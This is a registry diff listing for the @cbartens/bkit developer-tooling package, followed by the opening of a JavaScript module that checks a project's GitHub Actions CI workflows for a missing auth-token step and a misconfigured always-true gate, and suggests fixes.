@cbartens/bkit 0.0.0-stage → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (373) hide show
  1. package/.bkit/README.md +421 -0
  2. package/.bkit/core/.agents/context.md +95 -0
  3. package/.bkit/core/.agents/docs.md +62 -0
  4. package/.bkit/core/.agents/rules.md +147 -0
  5. package/.bkit/core/.agents/skills.md +43 -0
  6. package/.bkit/core/.bkit/LICENSE.md +151 -0
  7. package/.bkit/core/.bkit/README.md +421 -0
  8. package/.bkit/core/.bkit/cloud.md +502 -0
  9. package/.bkit/core/.bkit/comparison.md +318 -0
  10. package/.bkit/core/.bkit/install.md +496 -0
  11. package/.bkit/core/.bkit/jsonl.md +497 -0
  12. package/.bkit/core/.bkit/prompts.md +474 -0
  13. package/.bkit/core/.bkit/providers.md +598 -0
  14. package/.bkit/core/.bkit/templates.md +471 -0
  15. package/.bkit/core/.bkit/trackers.md +95 -0
  16. package/.bkit/core/.bkit/workflows.md +1546 -0
  17. package/.bkit/core/.claude/hooks/bkit-gateguard.cjs +82 -0
  18. package/.bkit/core/.claude/hooks/bkit-guardrails.cjs +93 -0
  19. package/.bkit/core/.claude/hooks/bkit-preflight.sh +74 -0
  20. package/.bkit/core/.codex/hooks/bkit-gateguard.cjs +115 -0
  21. package/.bkit/core/.codex/hooks/bkit-guardrails.cjs +135 -0
  22. package/.bkit/core/.cursor/hooks/bkit-gateguard.cjs +111 -0
  23. package/.bkit/core/.cursor/hooks/bkit-guardrails.cjs +169 -0
  24. package/.bkit/core/.cursor/hooks/bkit-preflight.sh +63 -0
  25. package/.bkit/core/.opencode/plugin/bkit-gateguard.js +225 -0
  26. package/.bkit/core/AGENTS.md +77 -0
  27. package/.bkit/core/LICENSE.md +149 -0
  28. package/.bkit/core/docs/templates/bkit-audit-accessibility.md +272 -0
  29. package/.bkit/core/docs/templates/bkit-audit-adoption.md +223 -0
  30. package/.bkit/core/docs/templates/bkit-audit-agents.md +230 -0
  31. package/.bkit/core/docs/templates/bkit-audit-aio-seo.md +227 -0
  32. package/.bkit/core/docs/templates/bkit-audit-analytics.md +266 -0
  33. package/.bkit/core/docs/templates/bkit-audit-annotations.md +230 -0
  34. package/.bkit/core/docs/templates/bkit-audit-app-performance.md +270 -0
  35. package/.bkit/core/docs/templates/bkit-audit-app-store.md +254 -0
  36. package/.bkit/core/docs/templates/bkit-audit-architecture.md +221 -0
  37. package/.bkit/core/docs/templates/bkit-audit-ci-performance.md +241 -0
  38. package/.bkit/core/docs/templates/bkit-audit-config.md +230 -0
  39. package/.bkit/core/docs/templates/bkit-audit-cost.md +218 -0
  40. package/.bkit/core/docs/templates/bkit-audit-coverage.md +221 -0
  41. package/.bkit/core/docs/templates/bkit-audit-database.md +229 -0
  42. package/.bkit/core/docs/templates/bkit-audit-dead-code.md +251 -0
  43. package/.bkit/core/docs/templates/bkit-audit-deferrals.md +283 -0
  44. package/.bkit/core/docs/templates/bkit-audit-dependencies.md +268 -0
  45. package/.bkit/core/docs/templates/bkit-audit-documentation.md +280 -0
  46. package/.bkit/core/docs/templates/bkit-audit-duplication.md +253 -0
  47. package/.bkit/core/docs/templates/bkit-audit-failures.md +259 -0
  48. package/.bkit/core/docs/templates/bkit-audit-flakes.md +237 -0
  49. package/.bkit/core/docs/templates/bkit-audit-gates.md +250 -0
  50. package/.bkit/core/docs/templates/bkit-audit-issues.md +273 -0
  51. package/.bkit/core/docs/templates/bkit-audit-llm.md +239 -0
  52. package/.bkit/core/docs/templates/bkit-audit-logs.md +266 -0
  53. package/.bkit/core/docs/templates/bkit-audit-models.md +210 -0
  54. package/.bkit/core/docs/templates/bkit-audit-privacy.md +211 -0
  55. package/.bkit/core/docs/templates/bkit-audit-prompts.md +216 -0
  56. package/.bkit/core/docs/templates/bkit-audit-red-team.md +220 -0
  57. package/.bkit/core/docs/templates/bkit-audit-reliability.md +222 -0
  58. package/.bkit/core/docs/templates/bkit-audit-repo.md +224 -0
  59. package/.bkit/core/docs/templates/bkit-audit-security.md +274 -0
  60. package/.bkit/core/docs/templates/bkit-audit-slop.md +200 -0
  61. package/.bkit/core/docs/templates/bkit-audit-testing.md +270 -0
  62. package/.bkit/core/docs/templates/bkit-audit-usability.md +237 -0
  63. package/.bkit/core/docs/templates/bkit-plan.md +476 -0
  64. package/.bkit/core/engine/checks/after/auth.ts +247 -0
  65. package/.bkit/core/engine/checks/after/ci-yml.ts +739 -0
  66. package/.bkit/core/engine/checks/after/github.ts +424 -0
  67. package/.bkit/core/engine/checks/after/index.ts +556 -0
  68. package/.bkit/core/engine/checks/after/managed.ts +217 -0
  69. package/.bkit/core/engine/checks/after/tools.ts +427 -0
  70. package/.bkit/core/engine/checks/after/vercel.ts +101 -0
  71. package/.bkit/core/engine/checks/before/context-fetch.ts +429 -0
  72. package/.bkit/core/engine/checks/before/env.ts +201 -0
  73. package/.bkit/core/engine/checks/before/files.ts +202 -0
  74. package/.bkit/core/engine/checks/before/index.ts +206 -0
  75. package/.bkit/core/engine/checks/before/mcp.ts +127 -0
  76. package/.bkit/core/engine/checks/before/repo.ts +77 -0
  77. package/.bkit/core/engine/checks/before/version.ts +67 -0
  78. package/.bkit/core/engine/checks/status-holes.ts +479 -0
  79. package/.bkit/core/engine/cli.ts +871 -0
  80. package/.bkit/core/engine/commands/analysis.ts +550 -0
  81. package/.bkit/core/engine/commands/ci/ci.ts +483 -0
  82. package/.bkit/core/engine/commands/comply.ts +415 -0
  83. package/.bkit/core/engine/commands/harvest.ts +459 -0
  84. package/.bkit/core/engine/commands/install/check.ts +70 -0
  85. package/.bkit/core/engine/commands/install/doctor.ts +247 -0
  86. package/.bkit/core/engine/commands/install/install.ts +528 -0
  87. package/.bkit/core/engine/commands/install/uninstall.ts +972 -0
  88. package/.bkit/core/engine/commands/install/upgrade.ts +1026 -0
  89. package/.bkit/core/engine/commands/launch.ts +139 -0
  90. package/.bkit/core/engine/commands/lib.ts +494 -0
  91. package/.bkit/core/engine/commands/registry.ts +53 -0
  92. package/.bkit/core/engine/commands/setup/setup.ts +184 -0
  93. package/.bkit/core/engine/commands/telemetry.ts +32 -0
  94. package/.bkit/core/engine/commands/workflow/branches.ts +1514 -0
  95. package/.bkit/core/engine/commands/workflow/context.ts +961 -0
  96. package/.bkit/core/engine/commands/workflow/counters.ts +268 -0
  97. package/.bkit/core/engine/commands/workflow/fids.ts +243 -0
  98. package/.bkit/core/engine/commands/workflow/issues.ts +675 -0
  99. package/.bkit/core/engine/commands/workflow/ledgers.ts +575 -0
  100. package/.bkit/core/engine/commands/workflow/locks.ts +478 -0
  101. package/.bkit/core/engine/commands/workflow/prs.ts +1087 -0
  102. package/.bkit/core/engine/commands/workflow/repo.ts +220 -0
  103. package/.bkit/core/engine/commands/workflow/roadmap.ts +576 -0
  104. package/.bkit/core/engine/commands/workflow/runs.ts +2140 -0
  105. package/.bkit/core/engine/commands/workflow/runtime.ts +300 -0
  106. package/.bkit/core/engine/commands/workflow/skills.ts +118 -0
  107. package/.bkit/core/engine/commands/workflow/status.ts +455 -0
  108. package/.bkit/core/engine/commands/workflow/steps.ts +1300 -0
  109. package/.bkit/core/engine/commands/workflow/tests.ts +161 -0
  110. package/.bkit/core/engine/commands/workflow/workflows.ts +1573 -0
  111. package/.bkit/core/engine/commands/workflow/workstreams.ts +164 -0
  112. package/.bkit/core/engine/commands/workflow/worktrees.ts +534 -0
  113. package/.bkit/core/engine/install/cloud-env.ts +925 -0
  114. package/.bkit/core/engine/install/managed-block.ts +212 -0
  115. package/.bkit/core/engine/install/manifest.ts +448 -0
  116. package/.bkit/core/engine/install/modules/claude.ts +362 -0
  117. package/.bkit/core/engine/install/modules/cloud.ts +174 -0
  118. package/.bkit/core/engine/install/modules/codex.ts +219 -0
  119. package/.bkit/core/engine/install/modules/core.ts +600 -0
  120. package/.bkit/core/engine/install/modules/cursor.ts +231 -0
  121. package/.bkit/core/engine/install/modules/index.ts +242 -0
  122. package/.bkit/core/engine/install/modules/opencode.ts +573 -0
  123. package/.bkit/core/engine/install/placeholders.ts +108 -0
  124. package/.bkit/core/engine/install/template-copies.ts +119 -0
  125. package/.bkit/core/engine/install/version-file.ts +284 -0
  126. package/.bkit/core/engine/install/write.ts +467 -0
  127. package/.bkit/core/engine/ledgers/clamp-log.ts +32 -0
  128. package/.bkit/core/engine/ledgers/status.ts +213 -0
  129. package/.bkit/core/engine/ledgers/telemetry.ts +1143 -0
  130. package/.bkit/core/engine/render/hosts.ts +372 -0
  131. package/.bkit/core/engine/render/models.ts +323 -0
  132. package/.bkit/core/engine/render/parts.ts +38 -0
  133. package/.bkit/core/engine/render/trackers.ts +170 -0
  134. package/.bkit/core/engine/shared/egress.ts +345 -0
  135. package/.bkit/core/engine/shared/json.ts +16 -0
  136. package/.bkit/core/engine/shared/log-prefix.ts +9 -0
  137. package/.bkit/core/engine/shared/package-json.ts +29 -0
  138. package/.bkit/core/engine/shared/package-manager.ts +38 -0
  139. package/.bkit/core/engine/shared/package-roots.ts +163 -0
  140. package/.bkit/core/engine/shared/protected-paths.ts +164 -0
  141. package/.bkit/core/engine/shared/settings.ts +72 -0
  142. package/.bkit/core/engine/shared/timeouts.ts +20 -0
  143. package/.bkit/core/engine/tools/wording.ts +748 -0
  144. package/.bkit/core/hooks/gateguard-edit-payload.js +18 -0
  145. package/.bkit/core/hooks/gateguard-engine.js +193 -0
  146. package/.bkit/core/hooks/guardrails-shell.js +154 -0
  147. package/.bkit/core/hooks/guardrails-tiers.js +68 -0
  148. package/.bkit/core/hooks/preflight-linear.sh +73 -0
  149. package/.bkit/core/prompts/bkit-audit-generate.md +66 -0
  150. package/.bkit/core/prompts/bkit-build-challenge-1.md +79 -0
  151. package/.bkit/core/prompts/bkit-build-challenge-2.md +81 -0
  152. package/.bkit/core/prompts/bkit-build-challenge-reconcile.md +68 -0
  153. package/.bkit/core/prompts/bkit-build-challenge-remediate.md +70 -0
  154. package/.bkit/core/prompts/bkit-build-challenge-tests.md +73 -0
  155. package/.bkit/core/prompts/bkit-build-install-skills.md +67 -0
  156. package/.bkit/core/prompts/bkit-build-plan-current.md +75 -0
  157. package/.bkit/core/prompts/bkit-build-plan-execute.md +72 -0
  158. package/.bkit/core/prompts/bkit-build-plan-gaps-remediate.md +73 -0
  159. package/.bkit/core/prompts/bkit-build-plan-verify.md +88 -0
  160. package/.bkit/core/prompts/bkit-build-summary.md +93 -0
  161. package/.bkit/core/prompts/bkit-debug-abort-handover.md +90 -0
  162. package/.bkit/core/prompts/bkit-debug-failure-diagnose.md +151 -0
  163. package/.bkit/core/prompts/bkit-debug-failure-remediate.md +78 -0
  164. package/.bkit/core/prompts/bkit-debug-failure-soak.md +73 -0
  165. package/.bkit/core/prompts/bkit-debug-summary.md +95 -0
  166. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-1.md +72 -0
  167. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-2.md +72 -0
  168. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-3.md +75 -0
  169. package/.bkit/core/prompts/bkit-design-generate.md +110 -0
  170. package/.bkit/core/prompts/bkit-design-organise.md +85 -0
  171. package/.bkit/core/prompts/bkit-design-review-1.md +121 -0
  172. package/.bkit/core/prompts/bkit-design-review-2.md +111 -0
  173. package/.bkit/core/prompts/bkit-design-spike.md +97 -0
  174. package/.bkit/core/prompts/bkit-design-summary.md +106 -0
  175. package/.bkit/core/prompts/bkit-design-update.md +66 -0
  176. package/.bkit/core/prompts/bkit-plan-complexity-check.md +66 -0
  177. package/.bkit/core/prompts/bkit-plan-complexity-split.md +87 -0
  178. package/.bkit/core/prompts/bkit-plan-generate.md +74 -0
  179. package/.bkit/core/prompts/bkit-plan-review-1.md +90 -0
  180. package/.bkit/core/prompts/bkit-plan-review-2.md +80 -0
  181. package/.bkit/core/prompts/bkit-plan-review-3.md +92 -0
  182. package/.bkit/core/prompts/bkit-plan-scope-check-1.md +84 -0
  183. package/.bkit/core/prompts/bkit-plan-scope-check-2.md +84 -0
  184. package/.bkit/core/prompts/bkit-plan-summary.md +106 -0
  185. package/.bkit/core/prompts/bkit-plan-update.md +68 -0
  186. package/.bkit/core/prompts/bkit-ship-conflict-resolve.md +90 -0
  187. package/.bkit/core/prompts/bkit-ship-deferred-sweep.md +94 -0
  188. package/.bkit/core/prompts/bkit-ship-summary.md +77 -0
  189. package/.bkit/core/prompts/bkit-ship-update-docs.md +71 -0
  190. package/.bkit/core/prompts/bkit-utility-compress-markdown.md +91 -0
  191. package/.bkit/core/prompts/bkit-utility-update-decisions.md +75 -0
  192. package/.bkit/core/prompts/bkit-utility-update-deferrals.md +76 -0
  193. package/.bkit/core/prompts/bkit-utility-update-documentation.md +61 -0
  194. package/.bkit/core/prompts/bkit-utility-update-failures.md +76 -0
  195. package/.bkit/core/prompts/bkit-utility-update-knowledge.md +75 -0
  196. package/.bkit/core/prompts/bkit-utility-update-roadmap.md +82 -0
  197. package/.bkit/core/workflows/bkit-auto.md +121 -0
  198. package/.bkit/core/workflows/bkit-build.md +802 -0
  199. package/.bkit/core/workflows/bkit-debug.md +642 -0
  200. package/.bkit/core/workflows/bkit-design.md +495 -0
  201. package/.bkit/core/workflows/bkit-plan.md +510 -0
  202. package/.bkit/core/workflows/bkit-ship.md +650 -0
  203. package/.bkit/shared/.bkit/.env.example +108 -0
  204. package/.bkit/shared/.claude/bkit-cloud.md +117 -0
  205. package/.bkit/shared/.claude/settings.json +88 -0
  206. package/.bkit/shared/.codex/hooks.json +26 -0
  207. package/.bkit/shared/.cursor/bkit-cloud.md +84 -0
  208. package/.bkit/shared/.cursor/hooks.json +26 -0
  209. package/.bkit/shared/.cursor/mcp.json +15 -0
  210. package/.bkit/shared/.cursor/rules/bkit-rules.mdc +12 -0
  211. package/.bkit/shared/.gitattributes +37 -0
  212. package/.bkit/shared/.mcp.json +16 -0
  213. package/.bkit/shared/.opencode/opencode.json +62 -0
  214. package/.bkit/shared/CLAUDE.md +11 -0
  215. package/.bkit/shared/LICENSE.md +22 -0
  216. package/.bkit/shared/docs/architecture.md +19 -0
  217. package/.bkit/shared/docs/data-schema.md +19 -0
  218. package/.bkit/shared/docs/deployments.md +438 -0
  219. package/.bkit/shared/docs/design.md +39 -0
  220. package/.bkit/shared/docs/noise.md +19 -0
  221. package/.bkit/shared/docs/observability.md +25 -0
  222. package/.bkit/shared/docs/security.md +42 -0
  223. package/.bkit/shared/docs/setup.md +30 -0
  224. package/.bkit/shared/docs/technology.md +18 -0
  225. package/.bkit/shared/docs/testing.md +413 -0
  226. package/.bkit/shared/gitignore +92 -0
  227. package/.bkit/templates/.claude/hooks/bkit-cloud-bootstrap.sh +192 -0
  228. package/.bkit/templates/.cursor/Dockerfile +68 -0
  229. package/.bkit/templates/.cursor/environment.json +6 -0
  230. package/.bkit/templates/.cursor/settings.json +11 -0
  231. package/.bkit/templates/.envrc +7 -0
  232. package/.bkit/templates/.github/dependabot.yml +52 -0
  233. package/.bkit/templates/.github/renovate.json5 +239 -0
  234. package/.bkit/templates/.github/workflows/bkit-ci.yml +1082 -0
  235. package/.bkit/templates/.github/workflows/bkit-cloud.yml +566 -0
  236. package/.bkit/templates/.github/workflows/bkit-renovate.yml +107 -0
  237. package/.bkit/templates/.graphifyignore +108 -0
  238. package/.bkit/templates/.husky/pre-commit +16 -0
  239. package/.bkit/templates/.husky/pre-push +91 -0
  240. package/.bkit/templates/.lintstagedrc.json +3 -0
  241. package/.bkit/templates/.prettierignore +41 -0
  242. package/.bkit/templates/.serena/project.yml +243 -0
  243. package/.bkit/templates/.vale/styles/House/Filler.yml +11 -0
  244. package/.bkit/templates/.vale/styles/House/Hedging.yml +12 -0
  245. package/.bkit/templates/.vale/styles/House/LLMSlop.yml +13 -0
  246. package/.bkit/templates/.vale/styles/House/Verbose.yml +12 -0
  247. package/.bkit/templates/.vale.ini +67 -0
  248. package/.bkit/templates/LICENSE.md +22 -0
  249. package/.bkit/templates/context/bkit-cloudrun.md +84 -0
  250. package/.bkit/templates/context/bkit-expo.md +186 -0
  251. package/.bkit/templates/context/bkit-github.md +79 -0
  252. package/.bkit/templates/context/bkit-inngest.md +45 -0
  253. package/.bkit/templates/context/bkit-maestro.md +76 -0
  254. package/.bkit/templates/context/bkit-playwright.md +62 -0
  255. package/.bkit/templates/context/bkit-resend.md +36 -0
  256. package/.bkit/templates/context/bkit-sentry.md +65 -0
  257. package/.bkit/templates/context/bkit-serena.md +33 -0
  258. package/.bkit/templates/context/bkit-stripe.md +36 -0
  259. package/.bkit/templates/context/bkit-supabase.md +59 -0
  260. package/.bkit/templates/context/bkit-tavily.md +49 -0
  261. package/.bkit/templates/context/bkit-vercel.md +64 -0
  262. package/.bkit/templates/docs/capabilities.md +72 -0
  263. package/.bkit/templates/scripts/ci/accepted-divergences.json +21 -0
  264. package/.bkit/templates/scripts/ci/check-accepted-divergences.mjs +152 -0
  265. package/.bkit/templates/scripts/ci/check-accepted-divergences.test.mjs +130 -0
  266. package/.bkit/templates/scripts/ci/lanes/resolve-push-base.mjs +98 -0
  267. package/.bkit/templates/scripts/ci/lanes/resolve-push-base.test.mjs +86 -0
  268. package/.bkit/templates/scripts/graphify/bkit-graph-drift-rules.json +23 -0
  269. package/.bkit/templates/scripts/graphify/bkit-graph-drift.py +208 -0
  270. package/.bkit/templates/scripts/graphify/bkit-graph-eager-rules.json +35 -0
  271. package/.bkit/templates/scripts/graphify/bkit-graph-eager.py +236 -0
  272. package/.bkit/templates/scripts/graphify/bkit-graph-external-rules.json +17 -0
  273. package/.bkit/templates/scripts/graphify/bkit-graph-imports.py +290 -0
  274. package/.bkit/templates/scripts/graphify/bkit-graph-pre-push.sh +19 -0
  275. package/.bkit/templates/scripts/graphify/bkit-graph-repair.py +120 -0
  276. package/.bkit/templates/scripts/graphify/bkit-graph-surface.py +232 -0
  277. package/.bkit/templates/scripts/graphify/bkit-graphify-graphml.py +36 -0
  278. package/.bkit/templates/scripts/graphify/bkit-graphify-rollup.py +927 -0
  279. package/.bkit/templates/scripts/graphify/bkit-graphify.sh +351 -0
  280. package/.bkit/templates/scripts/launchd/ai.bkit.launchd.plist +26 -0
  281. package/.bkit/templates/scripts/launchd/bkit-launchd-env.sh +53 -0
  282. package/.bkit/templates/scripts/launchd/launchd.env.example +13 -0
  283. package/.bkit/templates/scripts/prettier/bkit-insert-ignore.mjs +275 -0
  284. package/.bkit/templates/scripts/secrets/bkit-secrets.config.mjs +66 -0
  285. package/.bkit/templates/scripts/secrets/bkit-secrets.mjs +785 -0
  286. package/.bkit/templates/scripts/serena/bkit-serena-mcp.sh +30 -0
  287. package/.bkit/templates/scripts/serena/bkit-serena.mcp.json +9 -0
  288. package/.bkit/templates/scripts/slop/bkit-slop-type-suppression.mjs +286 -0
  289. package/.bkit/templates/slop-scan.config.json +120 -0
  290. package/CHANGELOG.md +1486 -0
  291. package/LICENSE.md +161 -0
  292. package/README.md +185 -2
  293. package/dist/checks/after/auth.js +232 -0
  294. package/dist/checks/after/ci-yml.js +718 -0
  295. package/dist/checks/after/github.js +400 -0
  296. package/dist/checks/after/index.js +447 -0
  297. package/dist/checks/after/managed.js +187 -0
  298. package/dist/checks/after/tools.js +351 -0
  299. package/dist/checks/after/vercel.js +102 -0
  300. package/dist/checks/before/context-fetch.js +426 -0
  301. package/dist/checks/before/env.js +173 -0
  302. package/dist/checks/before/files.js +185 -0
  303. package/dist/checks/before/index.js +162 -0
  304. package/dist/checks/before/mcp.js +111 -0
  305. package/dist/checks/before/repo.js +71 -0
  306. package/dist/checks/before/version.js +60 -0
  307. package/dist/checks/status-holes.js +393 -0
  308. package/dist/cli.js +692 -0
  309. package/dist/commands/analysis.js +325 -0
  310. package/dist/commands/ci/ci.js +438 -0
  311. package/dist/commands/comply.js +310 -0
  312. package/dist/commands/harvest.js +354 -0
  313. package/dist/commands/install/check.js +61 -0
  314. package/dist/commands/install/doctor.js +207 -0
  315. package/dist/commands/install/install.js +461 -0
  316. package/dist/commands/install/uninstall.js +815 -0
  317. package/dist/commands/install/upgrade.js +771 -0
  318. package/dist/commands/launch.js +118 -0
  319. package/dist/commands/lib.js +362 -0
  320. package/dist/commands/registry.js +50 -0
  321. package/dist/commands/setup/setup.js +158 -0
  322. package/dist/commands/telemetry.js +29 -0
  323. package/dist/commands/workflow/branches.js +1265 -0
  324. package/dist/commands/workflow/context.js +846 -0
  325. package/dist/commands/workflow/counters.js +227 -0
  326. package/dist/commands/workflow/fids.js +224 -0
  327. package/dist/commands/workflow/issues.js +585 -0
  328. package/dist/commands/workflow/ledgers.js +472 -0
  329. package/dist/commands/workflow/locks.js +364 -0
  330. package/dist/commands/workflow/prs.js +904 -0
  331. package/dist/commands/workflow/repo.js +199 -0
  332. package/dist/commands/workflow/roadmap.js +495 -0
  333. package/dist/commands/workflow/runs.js +1717 -0
  334. package/dist/commands/workflow/runtime.js +257 -0
  335. package/dist/commands/workflow/skills.js +110 -0
  336. package/dist/commands/workflow/status.js +392 -0
  337. package/dist/commands/workflow/steps.js +1093 -0
  338. package/dist/commands/workflow/tests.js +144 -0
  339. package/dist/commands/workflow/workflows.js +1342 -0
  340. package/dist/commands/workflow/workstreams.js +141 -0
  341. package/dist/commands/workflow/worktrees.js +473 -0
  342. package/dist/install/cloud-env.js +819 -0
  343. package/dist/install/managed-block.js +182 -0
  344. package/dist/install/manifest.js +376 -0
  345. package/dist/install/modules/claude.js +288 -0
  346. package/dist/install/modules/cloud.js +152 -0
  347. package/dist/install/modules/codex.js +193 -0
  348. package/dist/install/modules/core.js +511 -0
  349. package/dist/install/modules/cursor.js +186 -0
  350. package/dist/install/modules/index.js +152 -0
  351. package/dist/install/modules/opencode.js +504 -0
  352. package/dist/install/placeholders.js +87 -0
  353. package/dist/install/template-copies.js +106 -0
  354. package/dist/install/version-file.js +204 -0
  355. package/dist/install/write.js +342 -0
  356. package/dist/ledgers/clamp-log.js +27 -0
  357. package/dist/ledgers/status.js +156 -0
  358. package/dist/ledgers/telemetry.js +637 -0
  359. package/dist/render/hosts.js +339 -0
  360. package/dist/render/models.js +288 -0
  361. package/dist/render/parts.js +33 -0
  362. package/dist/render/trackers.js +135 -0
  363. package/dist/shared/egress.js +299 -0
  364. package/dist/shared/json.js +16 -0
  365. package/dist/shared/log-prefix.js +7 -0
  366. package/dist/shared/package-json.js +22 -0
  367. package/dist/shared/package-manager.js +32 -0
  368. package/dist/shared/package-roots.js +145 -0
  369. package/dist/shared/protected-paths.js +153 -0
  370. package/dist/shared/settings.js +44 -0
  371. package/dist/shared/timeouts.js +19 -0
  372. package/dist/tools/wording.js +680 -0
  373. package/package.json +101 -4
@@ -0,0 +1,718 @@
1
+ // checks/after/ci-yml.ts — the consumer's CI workflows: token env, actionlint, run injection,
2
+ // the capstone contract, the cloud gate, floating action tags, tagged tests without a CI home,
3
+ // run levels, turbo inputs and the integration env.
4
+ import * as fs from "node:fs";
5
+ import * as path from "node:path";
6
+ import { readPackageJson } from "../../shared/package-json.js";
7
+ // ---------------------------------------------------------------------------
8
+ // Other post-install detectors
9
+ // ---------------------------------------------------------------------------
10
+ /**
11
+ * Detect whether the bkit-ci.yml install step is wired to authenticate to GH Packages.
12
+ * Returns null if no bkit-ci.yml, no `pnpm install` step, or the step is correctly wired
13
+ * (no false positives).
14
+ *
15
+ * On pnpm >=10.34.3 the correct shape requires BOTH:
16
+ * (1) a `pnpm config set "//npm.pkg.github.com/:_authToken=$BKIT_GH_TOKEN_INSTALL"` step that
17
+ * writes the token into pnpm's user-level config before install, AND
18
+ * (2) the `BKIT_GH_TOKEN_INSTALL: ${{ secrets.BKIT_GH_TOKEN_INSTALL }}` env mapping that feeds it.
19
+ * Either missing → the next install 401s on download. Severity is "blocker" when the
20
+ * project .npmrc shows the repo authenticates to GH Packages (registry mapping or a
21
+ * ${BKIT_GH_TOKEN_INSTALL} ref); otherwise "advisory". Phase 3 does not exit-1
22
+ * (writes already happened).
23
+ */
24
+ export function detectCiYmlMissingTokenEnv(cwd) {
25
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
26
+ if (!fs.existsSync(ciPath))
27
+ return null;
28
+ const content = fs.readFileSync(ciPath, "utf-8");
29
+ // Require an install step before flagging (avoid false positives).
30
+ if (!content.includes("pnpm install"))
31
+ return null;
32
+ // Env mapping (whitespace/quoting variations):
33
+ // BKIT_GH_TOKEN_INSTALL: ${{ secrets.BKIT_GH_TOKEN_INSTALL }} | "${{ … }}" | ${{secrets.BKIT_GH_TOKEN_INSTALL}}
34
+ const hasTokenEnv = /BKIT_GH_TOKEN_INSTALL\s*:\s*["']?\$\{\{\s*secrets\.BKIT_GH_TOKEN_INSTALL\s*\}\}["']?/.test(content);
35
+ // User-level auth step: `pnpm config set "//npm.pkg.github.com/:_authToken=…"`.
36
+ const hasConfigSet = /pnpm\s+config\s+set\s+["']?\/\/npm\.pkg\.github\.com\/:_authToken=/.test(content);
37
+ // Correctly wired → no finding.
38
+ if (hasTokenEnv && hasConfigSet)
39
+ return null;
40
+ // Blocker when .npmrc shows the repo authenticates to GH Packages — next run 401s.
41
+ const npmrcPath = path.join(cwd, ".npmrc");
42
+ let npmrcUsesGhPackages = false;
43
+ if (fs.existsSync(npmrcPath)) {
44
+ const npmrcContent = fs.readFileSync(npmrcPath, "utf-8");
45
+ npmrcUsesGhPackages =
46
+ npmrcContent.includes("@cbartens:registry=") ||
47
+ npmrcContent.includes("${BKIT_GH_TOKEN_INSTALL}");
48
+ }
49
+ const missing = [];
50
+ if (!hasConfigSet)
51
+ missing.push("a `pnpm config set` auth step");
52
+ if (!hasTokenEnv)
53
+ missing.push("the BKIT_GH_TOKEN_INSTALL env mapping");
54
+ const missingText = missing.join(" and ");
55
+ return {
56
+ id: "ci-yml-missing-token-env",
57
+ severity: npmrcUsesGhPackages ? "blocker" : "advisory",
58
+ detect: npmrcUsesGhPackages
59
+ ? `.github/workflows/bkit-ci.yml has a pnpm install step but is missing ${missingText}, and .npmrc authenticates to the GitHub Packages registry. The next CI run will 401 on the @cbartens/bkit download.`
60
+ : `.github/workflows/bkit-ci.yml has a pnpm install step but is missing ${missingText}.`,
61
+ action: "Update the install step in .github/workflows/bkit-ci.yml to write the auth token into pnpm's user-level config BEFORE install:\n\n" +
62
+ " - name: Install Dependencies\n" +
63
+ " run: |\n" +
64
+ ' pnpm config set "//npm.pkg.github.com/:_authToken=$BKIT_GH_TOKEN_INSTALL"\n' +
65
+ " pnpm install --frozen-lockfile\n" +
66
+ " env:\n" +
67
+ " BKIT_GH_TOKEN_INSTALL: ${{ secrets.BKIT_GH_TOKEN_INSTALL }}\n\n" +
68
+ "pnpm >=10.34.3 does not authenticate a project-.npmrc ${BKIT_GH_TOKEN_INSTALL} env-substitution (it 401s on download), so the token must be set via `pnpm config set` — the shell expands $BKIT_GH_TOKEN_INSTALL to the literal token before pnpm stores it in user-level config, version-proof across pnpm 10.x and 11.x.\n\n" +
69
+ "Also confirm the secret exists: `gh secret list | grep BKIT_GH_TOKEN_INSTALL`. If absent: `gh secret set BKIT_GH_TOKEN_INSTALL --body=$BKIT_GH_TOKEN_INSTALL`.",
70
+ };
71
+ }
72
+ /**
73
+ * Detect the always-true `if:` gate in `.github/workflows/bkit-cloud.yml`: a `|`
74
+ * block scalar wrapping ${{ }}. GitHub Actions sees extra characters around ${{ }}
75
+ * (the block scalar's newlines) and evaluates the whole condition to a non-empty
76
+ * string === always true — so the free-tier `bkit [auto route]` gate never fires and
77
+ * the run job executes on every triggering event (unintended runner-minute spend).
78
+ *
79
+ * Fires only while the broken construct is present; the fixed form is a `>-` folded
80
+ * expression with no ${{ }} wrapper. bkit-cloud.yml is the consumer's copy of a
81
+ * template and bkit never rewrites it, so the action inlines the manual fix.
82
+ */
83
+ export function detectBkitCloudYmlAlwaysTrueGate(cwd) {
84
+ const cloudPath = path.join(cwd, ".github", "workflows", "bkit-cloud.yml");
85
+ if (!fs.existsSync(cloudPath))
86
+ return null;
87
+ const content = fs.readFileSync(cloudPath, "utf-8");
88
+ // Broken construct: an `if:` block scalar (`|` / `>`) whose first content line is ${{.
89
+ if (!/^\s*if:\s*[|>][^\n]*\n\s*\$\{\{/m.test(content))
90
+ return null;
91
+ return {
92
+ id: "bkit-auto-yml-always-true-gate",
93
+ severity: "advisory",
94
+ detect: ".github/workflows/bkit-cloud.yml writes its auto-route `if:` gate as a `|` block scalar wrapping ${{ }} — GitHub Actions evaluates this to a non-empty string (always true), so the free-tier `bkit [auto route]` gate never fires and the job runs on every triggering event.",
95
+ action: "Replace the auto-route job's `if: |` block scalar with a `>-` folded expression that drops the ${{ }} wrapper (GitHub Actions evaluates `if:` expressions natively):\n\n" +
96
+ " if: >-\n" +
97
+ " github.event_name == 'workflow_dispatch'\n" +
98
+ " || (\n" +
99
+ " (github.event.workflow_run.conclusion == 'success' || github.event.workflow_run.conclusion == 'failure')\n" +
100
+ " && contains(github.event.workflow_run.head_commit.message, 'bkit [auto route]')\n" +
101
+ " )\n\n" +
102
+ "Validate with `actionlint` — the `[if-cond]` finding disappears once the wrapper is gone.",
103
+ };
104
+ }
105
+ /**
106
+ * Matches a `.github/workflows/bkit-ci.yml` copied from the bkit-ci.yml template: an uncommented
107
+ * job named `bkit-tests` or `bkit-tests-<lane>`, the job names every lane of the template
108
+ * carries.
109
+ */
110
+ const ADOPTED_CI_JOB_RE = /^[ \t]+bkit-tests(?:-[\w-]+)?:[ \t]*$/m;
111
+ /**
112
+ * Detect a `.github/workflows/bkit-ci.yml` adopted from bkit's template with no `actionlint` step.
113
+ * `yaml.safe_load` (and generic YAML linters) accept workflows that are valid YAML
114
